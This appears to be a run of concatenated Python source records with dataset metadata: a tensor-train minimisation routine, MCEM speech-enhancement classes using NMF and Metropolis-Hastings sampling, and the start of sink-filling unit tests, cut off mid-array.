#ind = maxvol(q)
ind = rect_maxvol(q)[0]
ry[i + 1] = ind.size
w1 = mkron(np.ones((n[i], 1), dtype=np.int), Jy[i])
w2 = mkron(grid[i], np.ones((ry[i], 1), dtype=np.int))
Jy[i + 1] = np.hstack((w1, w2))
Jy[i + 1] = reshape(Jy[i + 1], (ry[i] * n[i], -1))
Jy[i + 1] = Jy[i + 1][ind, :]
i += dirn
if i == d or i == -1:
dirn = -dirn
i += dirn
swp = swp + 1
return val, x_full
def min_tens(tens, rmax=10, nswp=10, verb=True, smooth_fun=None):
"""Find (approximate) minimal element in a TT-tensor."""
if smooth_fun is None:
smooth_fun = lambda p, lam: (math.pi / 2 - np.arctan(p - lam))
d = tens.d
Rx = [[]] * (d + 1) # Python list for the interfaces
Rx[0] = np.ones((1, 1))
Rx[d] = np.ones((1, 1))
Jy = [np.empty(0, dtype=np.int)] * (d + 1)
ry = rmax * np.ones(d + 1, dtype=np.int)
ry[0] = 1
ry[d] = 1
n = tens.n
elements_seen = 0
phi_left = [np.empty(0)] * (d + 1)
phi_left[0] = np.array([1])
phi_right = [np.empty(0)] * (d + 1)
phi_right[d] = np.array([1])
cores = tt.tensor.to_list(tens)
# Fill initial multiindex J randomly.
grid = [np.reshape(range(n[i]), (n[i], 1)) for i in xrange(d)]
for i in xrange(d - 1):
ry[i + 1] = min(ry[i + 1], n[i] * ry[i])
ind = sorted(np.random.permutation(ry[i] * n[i])[0:ry[i + 1]])
w1 = mkron(np.ones((n[i], 1), dtype=np.int), Jy[i])
w2 = mkron(grid[i], np.ones((ry[i], 1), dtype=np.int))
Jy[i + 1] = np.hstack((w1, w2))
Jy[i + 1] = reshape(Jy[i + 1], (ry[i] * n[i], -1))
Jy[i + 1] = Jy[i + 1][ind, :]
phi_left[i + 1] = np.tensordot(phi_left[i], cores[i], 1)
phi_left[i + 1] = reshape(phi_left[i + 1], (ry[i] * n[i], -1))
phi_left[i + 1] = phi_left[i + 1][ind, :]
swp = 0
dirn = -1
i = d - 1
lm = float('Inf')
while swp < nswp:
# Right-to-left sweep
# The idea: compute the current core; compute the function of it;
# Shift locally or globally? Local shift would be the first try
# Compute the current core
if np.size(Jy[i]) == 0:
w1 = np.zeros((ry[i] * n[i] * ry[i + 1], 0), dtype=np.int)
else:
w1 = mkron(np.ones((n[i] * ry[i + 1], 1), dtype=np.int), Jy[i])
w2 = mkron(mkron(np.ones((ry[i + 1], 1), dtype=np.int),
grid[i]), np.ones((ry[i], 1), dtype=np.int))
if np.size(Jy[i + 1]) == 0:
w3 = np.zeros((ry[i] * n[i] * ry[i + 1], 0), dtype=np.int)
else:
w3 = mkron(Jy[i + 1], np.ones((ry[i] * n[i], 1), dtype=np.int))
J = np.hstack((w1, w2, w3))
phi_right[i] = np.tensordot(cores[i], phi_right[i + 1], 1)
phi_right[i] = reshape(phi_right[i], (-1, n[i] * ry[i + 1]))
cry = np.tensordot(
phi_left[i], np.tensordot(
cores[i], phi_right[
i + 1], 1), 1)
elements_seen += cry.size
cry = reshape(cry, (ry[i], n[i], ry[i + 1]))
min_cur = np.min(cry.flatten("F"))
ind_cur = np.argmin(cry.flatten("F"))
if lm > min_cur:
lm = min_cur
x_full = J[ind_cur, :]
val = tens[x_full]
if verb:
print 'New record:', val, 'Point:', x_full, 'elements seen:', elements_seen
cry = smooth_fun(cry, lm)
if dirn < 0 and i > 0:
cry = reshape(cry, (ry[i], n[i] * ry[i + 1]))
cry = cry.T
#q, r = np.linalg.qr(cry)
u, s, v = mysvd(cry, full_matrices=False)
ry[i] = min(ry[i], rmax)
q = u[:, :ry[i]]
ind = rect_maxvol(q)[0] # maxvol(q)
ry[i] = ind.size
w1 = mkron(np.ones((ry[i + 1], 1), dtype=np.int), grid[i])
if np.size(Jy[i + 1]) == 0:
w2 = np.zeros((n[i] * ry[i + 1], 0), dtype=np.int)
else:
w2 = mkron(Jy[i + 1], np.ones((n[i], 1), dtype=np.int))
Jy[i] = np.hstack((w1, w2))
Jy[i] = reshape(Jy[i], (n[i] * ry[i + 1], -1))
Jy[i] = Jy[i][ind, :]
phi_right[i] = np.tensordot(cores[i], phi_right[i + 1], 1)
phi_right[i] = reshape(phi_right[i], (-1, n[i] * ry[i + 1]))
phi_right[i] = phi_right[i][:, ind]
if dirn > 0 and i < d - 1:
cry = reshape(cry, (ry[i] * n[i], ry[i + 1]))
q, r = np.linalg.qr(cry)
#ind = maxvol(q)
ind = rect_maxvol(q)[0]
ry[i + 1] = ind.size
phi_left[i + 1] = np.tensordot(phi_left[i], cores[i], 1)
phi_left[i + 1] = reshape(phi_left[i + 1], (ry[i] * n[i], -1))
phi_left[i + 1] = phi_left[i + 1][ind, :]
w1 = mkron(np.ones((n[i], 1), dtype=np.int), Jy[i])
w2 = mkron(grid[i], np.ones((ry[i], 1), dtype=np.int))
Jy[i + 1] = np.hstack((w1, w2))
Jy[i + 1] = reshape(Jy[i + 1], (ry[i] * n[i], -1))
Jy[i + 1] = Jy[i + 1][ind, :]
i += dirn
if i == d or i == -1:
dirn = -dirn
i += dirn
swp = swp + 1
return val, x_full
| 38.019231
| 94
| 0.467274
| 1,658
| 9,885
| 2.736429
| 0.11158
| 0.046286
| 0.033502
| 0.053339
| 0.7527
| 0.735067
| 0.728675
| 0.726692
| 0.726692
| 0.724928
| 0
| 0.038997
| 0.338493
| 9,885
| 259
| 95
| 38.166023
| 0.65484
| 0.090642
| 0
| 0.722488
| 0
| 0
| 0.007559
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.023923
| null | null | 0.009569
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54b32c3497c0c631bba2d39fcbc7524365f70712
| 19,951
|
py
|
Python
|
egs/timit_drones/MCEM_algo.py
|
flyingleafe/asteroid
|
1c3c68ffc83f4b0bf7b00893083e4eff1f577b88
|
[
"MIT"
] | null | null | null |
egs/timit_drones/MCEM_algo.py
|
flyingleafe/asteroid
|
1c3c68ffc83f4b0bf7b00893083e4eff1f577b88
|
[
"MIT"
] | null | null | null |
egs/timit_drones/MCEM_algo.py
|
flyingleafe/asteroid
|
1c3c68ffc83f4b0bf7b00893083e4eff1f577b88
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Algorithm copied and modified for audio only from - https://gitlab.inria.fr/smostafa/avse-vae/-/blob/master/MCEM_algo.py
Copyright (c) 2019 by Inria
Authored by Mostafa Sadeghi (mostafa.sadeghi@inria.fr)
License agreement in LICENSE.txt
"""
import numpy as np
import torch
#%% The following implements the MCEM algorithm for audio-only VAE
class MCEM_algo:
def __init__(self, X=None, W=None, H=None, Z=None, v=None, decoder=None,
niter_MCEM=100, niter_MH=40, burnin=30, var_MH=0.01):
self.X = X # Mixture STFT, shape (F,N)
self.W = W # NMF dictionary matrix, shape (F, K)
self.H = H # NMF activation matrix, shape (K, N)
self.V = self.W @ self.H # Noise variance, shape (F, N)
self.Z = Z # Last draw of the latent variables, shape (D, N)
self.v = v
self.decoder = decoder # VAE decoder, keras model
self.niter_MCEM = niter_MCEM # Maximum number of MCEM iterations
self.niter_MH = niter_MH # Number of iterations for the MH algorithm
# of the E-step
self.burnin = burnin # Burn-in period for the MH algorithm of the
# E-step
self.var_MH = var_MH # Variance of the proposal distribution of the MH
# algorithm
self.a = np.ones((1,self.X.shape[1])) # gain parameters, shape (1,N)
# output of the decoder with self.Z as input, shape (F, N)
self.Z_mapped_decoder = self.torch2num(self.decoder(self.num2torch(self.Z.T), self.v)).T
self.speech_var = self.Z_mapped_decoder*self.a # apply gain
def num2torch(self, x):
y = torch.from_numpy(x.astype(np.float32))
return y
def torch2num(self, x):
y = x.detach().numpy()
return y
def metropolis_hastings(self, niter_MH=None, burnin=None):
if niter_MH==None:
niter_MH = self.niter_MH
if burnin==None:
burnin = self.burnin
F, N = self.X.shape
D = self.Z.shape[0]
Z_sampled = np.zeros((D, N, niter_MH - burnin))
cpt = 0
for n in np.arange(niter_MH):
Z_prime = self.Z + np.sqrt(self.var_MH)*np.random.randn(D,N)
Z_prime_mapped_decoder = self.torch2num(self.decoder(self.num2torch(Z_prime.T), self.v)).T
# shape (F, N)
speech_var_prime = Z_prime_mapped_decoder*self.a # apply gain
acc_prob = ( np.sum( np.log(self.V + self.speech_var)
- np.log(self.V + speech_var_prime)
+ ( 1/(self.V + self.speech_var)
- 1/(self.V + speech_var_prime) )
* np.abs(self.X)**2, axis=0)
+ .5*np.sum( self.Z**2 - Z_prime**2 , axis=0) )
is_acc = np.log(np.random.rand(1,N)) < acc_prob
is_acc = is_acc.reshape((is_acc.shape[1],))
self.Z[:,is_acc] = Z_prime[:,is_acc]
self.Z_mapped_decoder = self.torch2num(self.decoder(self.num2torch(self.Z.T),self.v)).T
self.speech_var = self.Z_mapped_decoder*self.a
if n > burnin - 1:
Z_sampled[:,:,cpt] = self.Z
cpt += 1
return Z_sampled
def run(self, hop, wlen, win, tol=1e-4):
F, N = self.X.shape
X_abs_2 = np.abs(self.X)**2
cost_after_M_step = np.zeros((self.niter_MCEM, 1))
for n in np.arange(self.niter_MCEM):
# MC-Step
# print('Metropolis-Hastings')
Z_sampled = self.metropolis_hastings(self.niter_MH, self.burnin)
Z_sampled_mapped_decoder = np.zeros((F, N, self.niter_MH-self.burnin))
for i in range(self.niter_MH-self.burnin):
Z_sampled_mapped_decoder[:,:,i] =self.torch2num(self.decoder(self.num2torch(Z_sampled[:,:,i].T),self.v)).T
speech_var_multi_samples = (Z_sampled_mapped_decoder*
self.a[:,:,None]) # shape (F,N,R)
# M-Step
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
# print('Update W')
self.W = self.W*(
((X_abs_2*np.sum(V_plus_Z_mapped**-2,
axis=-1)) @ self.H.T)
/ (np.sum(V_plus_Z_mapped**-1, axis=-1) @ self.H.T)
)**.5
self.V = self.W @ self.H
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
# print('Update H')
self.H = self.H*(
(self.W.T @ (X_abs_2 * np.sum(V_plus_Z_mapped**-2,
axis=-1)))
/ (self.W.T @ np.sum(V_plus_Z_mapped**-1, axis=-1))
)**.5
self.V = self.W @ self.H
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
# print('Update gain')
self.a = self.a*(
(np.sum(X_abs_2 * np.sum(
Z_sampled_mapped_decoder*(V_plus_Z_mapped**-2),
axis=-1), axis=0) )
/(np.sum(np.sum(
Z_sampled_mapped_decoder*(V_plus_Z_mapped**-1),
axis=-1), axis=0) ) )**.5
speech_var_multi_samples = (Z_sampled_mapped_decoder*
self.a[:,:,None]) # shape (F,N,R)
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
cost_after_M_step[n] = np.mean(
np.log(V_plus_Z_mapped)
+ X_abs_2[:,:,None]/V_plus_Z_mapped )
print("iter %d/%d - cost=%.4f\n" %
(n+1, self.niter_MCEM, cost_after_M_step[n]))
if n>0 and np.abs(cost_after_M_step[n-1] - cost_after_M_step[n]) < tol:
print('tolerance achieved')
break
return cost_after_M_step, n
def separate(self, niter_MH=None, burnin=None):
if niter_MH==None:
niter_MH = self.niter_MH
if burnin==None:
burnin = self.burnin
F, N = self.X.shape
Z_sampled = self.metropolis_hastings(niter_MH, burnin)
Z_sampled_mapped_decoder = np.zeros((F, N, self.niter_MH-self.burnin))
for i in range(self.niter_MH-self.burnin):
Z_sampled_mapped_decoder[:,:,i] =self.torch2num(self.decoder(self.num2torch(Z_sampled[:,:,i].T),self.v)).T
speech_var_multi_samples = (Z_sampled_mapped_decoder*
self.a[:,:,None]) # shape (F,N,R)
self.S_hat = np.mean(
(speech_var_multi_samples/(speech_var_multi_samples
+ self.V[:,:,None])),
axis=-1) * self.X
self.N_hat = np.mean(
(self.V[:,:,None]/(speech_var_multi_samples
+ self.V[:,:,None])) , axis=-1) * self.X
#%% The following implements the MCEM algorithm for audio-visual CVAE
class MCEM_algo_cvae:
def __init__(self, mu_z, logvar_z, X=None, W=None, H=None, Z=None, v=None, decoder=None,
niter_MCEM=100, niter_MH=40, burnin=30, var_MH=0.01):
self.X = X # Mixture STFT, shape (F,N)
self.W = W # NMF dictionary matrix, shape (F, K)
self.H = H # NMF activation matrix, shape (K, N)
self.V = self.W @ self.H # Noise variance, shape (F, N)
self.Z = Z # Last draw of the latent variables, shape (D, N)
self.v = v
self.decoder = decoder # VAE decoder, keras model
self.niter_MCEM = niter_MCEM # Maximum number of MCEM iterations
self.niter_MH = niter_MH # Number of iterations for the MH algorithm
# of the E-step
self.burnin = burnin # Burn-in period for the MH algorithm of the
# E-step
self.var_MH = var_MH # Variance of the proposal distribution of the MH
# algorithm
self.a = np.ones((1,self.X.shape[1])) # gain parameters, shape (1,N)
# output of the decoder with self.Z as input, shape (F, N)
self.Z_mapped_decoder = self.torch2num(self.decoder(self.num2torch(self.Z.T), self.v)).T
self.speech_var = self.Z_mapped_decoder*self.a # apply gain
self.muz = mu_z.T
self.varz = np.exp(logvar_z).T
def num2torch(self, x):
y = torch.from_numpy(x.astype(np.float32))
return y
def torch2num(self, x):
y = x.numpy()
return y
def metropolis_hastings(self, niter_MH=None, burnin=None):
if niter_MH==None:
niter_MH = self.niter_MH
if burnin==None:
burnin = self.burnin
F, N = self.X.shape
D = self.Z.shape[0]
Z_sampled = np.zeros((D, N, niter_MH - burnin))
cpt = 0
for n in np.arange(niter_MH):
Z_prime = self.Z + np.sqrt(self.var_MH)*np.random.randn(D,N)
Z_prime_mapped_decoder = self.torch2num(self.decoder(self.num2torch(Z_prime.T), self.v)).T
#
# shape (F, N)
speech_var_prime = Z_prime_mapped_decoder*self.a # apply gain
acc_prob = ( np.sum( np.log(self.V + self.speech_var)
- np.log(self.V + speech_var_prime)
+ ( 1/(self.V + self.speech_var)
- 1/(self.V + speech_var_prime) )
* np.abs(self.X)**2, axis=0)
+ .5*np.sum( ((self.Z-self.muz)**2 - (Z_prime-self.muz)**2)/self.varz , axis=0) )
is_acc = np.log(np.random.rand(1,N)) < acc_prob
is_acc = is_acc.reshape((is_acc.shape[1],))
self.Z[:,is_acc] = Z_prime[:,is_acc]
self.Z_mapped_decoder = self.torch2num(self.decoder(self.num2torch(self.Z.T),self.v)).T
self.speech_var = self.Z_mapped_decoder*self.a
if n > burnin - 1:
Z_sampled[:,:,cpt] = self.Z
cpt += 1
return Z_sampled
def run(self, hop, wlen, win, tol=1e-4):
F, N = self.X.shape
X_abs_2 = np.abs(self.X)**2
cost_after_M_step = np.zeros((self.niter_MCEM, 1))
for n in np.arange(self.niter_MCEM):
# MC-Step
# print('Metropolis-Hastings')
Z_sampled = self.metropolis_hastings(self.niter_MH, self.burnin)
Z_sampled_mapped_decoder = np.zeros((F, N, self.niter_MH-self.burnin))
for i in range(self.niter_MH-self.burnin):
Z_sampled_mapped_decoder[:,:,i] =self.torch2num(self.decoder(self.num2torch(Z_sampled[:,:,i].T),self.v)).T
speech_var_multi_samples = (Z_sampled_mapped_decoder*
self.a[:,:,None]) # shape (F,N,R)
# M-Step
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
# print('Update W')
self.W = self.W*(
((X_abs_2*np.sum(V_plus_Z_mapped**-2,
axis=-1)) @ self.H.T)
/ (np.sum(V_plus_Z_mapped**-1, axis=-1) @ self.H.T)
)**.5
self.V = self.W @ self.H
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
# print('Update H')
self.H = self.H*(
(self.W.T @ (X_abs_2 * np.sum(V_plus_Z_mapped**-2,
axis=-1)))
/ (self.W.T @ np.sum(V_plus_Z_mapped**-1, axis=-1))
)**.5
self.V = self.W @ self.H
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
# print('Update gain')
self.a = self.a*(
(np.sum(X_abs_2 * np.sum(
Z_sampled_mapped_decoder*(V_plus_Z_mapped**-2),
axis=-1), axis=0) )
/(np.sum(np.sum(
Z_sampled_mapped_decoder*(V_plus_Z_mapped**-1),
axis=-1), axis=0) ) )**.5
speech_var_multi_samples = (Z_sampled_mapped_decoder*
self.a[:,:,None]) # shape (F,N,R)
V_plus_Z_mapped = self.V[:,:,None] + speech_var_multi_samples
cost_after_M_step[n] = np.mean(
np.log(V_plus_Z_mapped)
+ X_abs_2[:,:,None]/V_plus_Z_mapped )
print("iter %d/%d - cost=%.4f\n" %
(n+1, self.niter_MCEM, cost_after_M_step[n]))
if n>0 and np.abs(cost_after_M_step[n-1] - cost_after_M_step[n]) < tol:
print('tolerance achieved')
break
return cost_after_M_step, n
def separate(self, niter_MH=None, burnin=None):
if niter_MH==None:
niter_MH = self.niter_MH
if burnin==None:
burnin = self.burnin
F, N = self.X.shape
Z_sampled = self.metropolis_hastings(niter_MH, burnin)
Z_sampled_mapped_decoder = np.zeros((F, N, self.niter_MH-self.burnin))
for i in range(self.niter_MH-self.burnin):
Z_sampled_mapped_decoder[:,:,i] =self.torch2num(self.decoder(self.num2torch(Z_sampled[:,:,i].T),self.v)).T
speech_var_multi_samples = (Z_sampled_mapped_decoder*
self.a[:,:,None]) # shape (F,N,R)
self.S_hat = np.mean(
(speech_var_multi_samples/(speech_var_multi_samples
+ self.V[:,:,None])),
axis=-1) * self.X
self.N_hat = np.mean(
(self.V[:,:,None]/(speech_var_multi_samples
+ self.V[:,:,None])) , axis=-1) * self.X
#%% The following implements the MCEM algorithm for audio-visual CVAE
class VI_MCEM_algo:
def __init__(self, mu_z, logvar_z, X=None, W=None, H=None, Z=None, v=None, decoder=None,
niter_VI_MCEM=100, niter_MH=40, burnin=30, var_MH=0.01):
self.X = X # Mixture STFT, shape (F,N)
self.W = W # NMF dictionary matrix, shape (F, K)
self.H = H # NMF activation matrix, shape (K, N)
self.V = self.W @ self.H # Noise variance, shape (F, N)
self.Z = Z # Last draw of the latent variables, shape (D, N)
self.v = v
self.decoder = decoder # VAE decoder, keras model
self.niter_VI_MCEM = niter_VI_MCEM # Maximum number of MCEM iterations
self.niter_MH = niter_MH # Number of iterations for the MH algorithm
# of the E-step
self.burnin = burnin # Burn-in period for the MH algorithm of the
# E-step
self.var_MH = var_MH # Variance of the proposal distribution of the MH
# algorithm
self.a = np.ones((1,self.X.shape[1])) # gain parameters, shape (1,N)
# output of the decoder with self.Z as input, shape (F, N)
self.Z_mapped_decoder = self.torch2num(self.decoder(self.num2torch(self.Z.T), self.v)).T
self.speech_var = self.Z_mapped_decoder*self.a # apply gain
self.muz = mu_z.T
self.varz = np.exp(logvar_z).T
self.eps = np.finfo(float).eps
def num2torch(self, x):
y = torch.from_numpy(x.astype(np.float32))
return y
def torch2num(self, x):
y = x.numpy()
return y
def metropolis_hastings_AVz(self, abs_Sp2, muz = None, varz = None, niter_MH=40, burnin=30, var_MH = 0.01):
N = self.X.shape[1]
D = self.Z.shape[0]
Z_sampled = np.zeros((D, N, niter_MH - burnin))
if muz == None:
muz = self.muz
if varz == None:
varz = self.varz
cpt = 0
for n in np.arange(niter_MH):
Z_prime = self.Z + np.sqrt(self.var_MH)*np.random.randn(D,N)
with torch.no_grad():
Z_prime_mapped_decoder = self.torch2num(self.decoder(self.num2torch(Z_prime.T), self.v)).T
# shape (F, N)
speech_var_prime = Z_prime_mapped_decoder
acc_prob = ( np.sum( np.log(self.speech_var)
- np.log(speech_var_prime)
+ ( 1/(self.speech_var)
- 1/(speech_var_prime) )
* abs_Sp2, axis=0)
+ .5*np.sum( ((self.Z-muz)**2 - (Z_prime-muz)**2)/varz , axis=0) )
is_acc = np.log(np.random.rand(1,N)) < acc_prob
is_acc = is_acc.reshape((is_acc.shape[1],))
self.Z[:,is_acc] = Z_prime[:,is_acc]
with torch.no_grad():
self.Z_mapped_decoder = self.torch2num(self.decoder(self.num2torch(self.Z.T),self.v)).T
self.speech_var = self.Z_mapped_decoder
if n > burnin - 1:
Z_sampled[:,:,cpt] = self.Z
cpt += 1
return Z_sampled
def run(self, tol=1e-4):
F, N = self.X.shape
self.Mu_s = self.X.copy()
self.Sig_s = np.zeros((F, N))
for n in np.arange(self.niter_VI_MCEM):
############ E-s step ############
with torch.no_grad():
z_samples = np.transpose(self.metropolis_hastings_AVz(np.abs(self.Mu_s)**2+self.Sig_s, muz = None,
varz = None, niter_MH=40, burnin=30, var_MH = 0.01),(1,2,0)) # shape (N, NumSamples, 32)
Z_decoded = np.transpose(self.torch2num(self.decoder(self.num2torch(z_samples), self.v[:,None,:])),(2,1,0)) # shape (F, N, NumSamples)
inv_gam = np.mean(1./Z_decoded, axis = 1)
gam = 1./inv_gam
self.Sig_s = (self.V*gam)/(self.V + gam)
self.Mu_s = (gam/(self.V + gam))*self.X
Vm = np.abs(self.X-self.Mu_s)**2+self.Sig_s
############ Update W ############
self.W = self.W*( (((self.V**-2) * Vm) @ self.H.T)
/ ((self.V**-1) @ self.H.T) )
self.W = np.maximum(self.W, self.eps)
self.V = self.W @ self.H
############ Update H ############
self.H = self.H*( (self.W.T @ ( (self.V**-2) * Vm ))
/ (self.W.T @ (self.V**-1)))
self.H = np.maximum(self.H, self.eps)
norm_col_W = np.sum(np.abs(self.W), axis=0)
self.W = self.W/norm_col_W[np.newaxis,:]
self.H = self.H*norm_col_W[:,np.newaxis]
self.V = self.W @ self.H
print("iter %d/%d - cost=%.4f\n" %
(n+1, self.niter_VI_MCEM, 0))
# Estimate clean speech:
S_hat = (gam/(self.V + gam))*self.X
N_hat = self.X - S_hat
return S_hat, N_hat
def separate(self, niter_MH=None, burnin=None):
if niter_MH==None:
niter_MH = self.niter_MH
if burnin==None:
burnin = self.burnin
F, N = self.X.shape
with torch.no_grad():
z_samples = np.transpose(self.metropolis_hastings_AVz(np.abs(self.Mu_s)**2+self.Sig_s, muz = None,
varz = None, niter_MH=40, burnin=30, var_MH = 0.01),(1,2,0)) # shape (N, NumSamples, 32)
Z_decoded = np.transpose(self.torch2num(self.decoder(self.num2torch(z_samples), self.v[:,None,:])),(2,1,0)) # shape (F, N, NumSamples)
inv_gam = np.mean(1./Z_decoded, axis = 1)
gam = 1./inv_gam
# Estimate clean speech:
self.S_hat = (gam/(self.V + gam))*self.X
self.N_hat = self.X - self.S_hat
return None
win 256
| 38.147228
| 164
| 0.517869
| 2,812
| 19,951
| 3.481863
| 0.06899
| 0.029619
| 0.014707
| 0.029415
| 0.92442
| 0.911858
| 0.899091
| 0.891329
| 0.880707
| 0.878358
| 0
| 0.019554
| 0.348905
| 19,951
| 523
| 165
| 38.147228
| 0.73418
| 0.114581
| 0
| 0.85119
| 0
| 0
| 0.006255
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.005952
| null | null | 0.014881
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
54be46878f21e6e8eeb85b58d772427331cda8b4
| 54,306
|
py
|
Python
|
Dynamic_HD_Scripts/Dynamic_HD_Script_Tests/test_fill_sinks_wrapper.py
|
ThomasRiddick/DynamicHD
|
bff378a49ff6c709dc59c2d6835852e1083df20a
|
[
"BSD-3-Clause"
] | 1
|
2021-08-04T07:51:18.000Z
|
2021-08-04T07:51:18.000Z
|
Dynamic_HD_Scripts/Dynamic_HD_Script_Tests/test_fill_sinks_wrapper.py
|
ThomasRiddick/DynamicHD
|
bff378a49ff6c709dc59c2d6835852e1083df20a
|
[
"BSD-3-Clause"
] | 1
|
2022-01-27T22:12:45.000Z
|
2022-02-01T10:16:47.000Z
|
Dynamic_HD_Scripts/Dynamic_HD_Script_Tests/test_fill_sinks_wrapper.py
|
ThomasRiddick/DynamicHD
|
bff378a49ff6c709dc59c2d6835852e1083df20a
|
[
"BSD-3-Clause"
] | null | null | null |
'''
Unit tests for both the C++ sink filling codes results and the Cython wrapper that
interfaces between it and python.
Created on Mar 31, 2016
@author: thomasriddick
'''
import unittest
import numpy as np
from Dynamic_HD_Scripts.interface.cpp_interface.libs import fill_sinks_wrapper
class TestAlgorithmOne(unittest.TestCase):
"""Tests of Algorithm 1 from Barnes et al (2014)"""
ndv = np.finfo(dtype=np.float64).min #set the no data value
def setUp(self):
"""Unit test setup function; prepare test pseudo-data and expected results"""
self.input_array = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,1.1,2.0,2.0,1.2,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,1.3,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,0.1,0.1,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,0.1,0.1,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,3.0,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,2.0,2.0,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.expected_output_array = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,1.1,2.0,2.0,1.2,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,1.3,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,1.3,1.3,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,1.3,1.3,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,3.0,3.0,3.0,3.0,2.0,1.1,0.0],
[0.0,1.1,2.0,2.0,2.0,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.wrapped_input_array = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.wrapped_input_array_with_slope = np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.2],
[1.3,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.7],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.orography_in_wrapped_sink_with_slope = \
np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,1.5],
[1.45,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[0.1,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,0.1],
[3.0,3.0,2.0,1.1,0.0,0.0,1.1,2.0,3.0,3.0],
[2.0,2.0,2.0,1.1,0.0,0.0,1.1,2.0,2.0,2.0],
[1.1,1.1,1.1,1.1,0.0,0.0,1.1,1.1,1.1,1.1],
[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]],
dtype=np.float64, order='C')
self.orography_in_with_slope = \
np.asarray([[0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0],
[0.0,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,0.0],
[0.0,1.1,2.0,2.0,1.2,2.0,2.0,2.0,1.1,0.0],
[0.0,1.1,2.0,0.1,0.1,0.1,0.1,2.0,1.1,0.0],
[0.0,1.1,2.0,0.1,0.1,0.1,0.1,1.4,1.1,0.0],
[0.0,1.1,2.0,0.1,0.1,0.1,0.1,2.0,1.1,0.0],
[0.0,1.1,2.0,0.1,0.1,0.1,0.1,2.0,1.1,0.0],
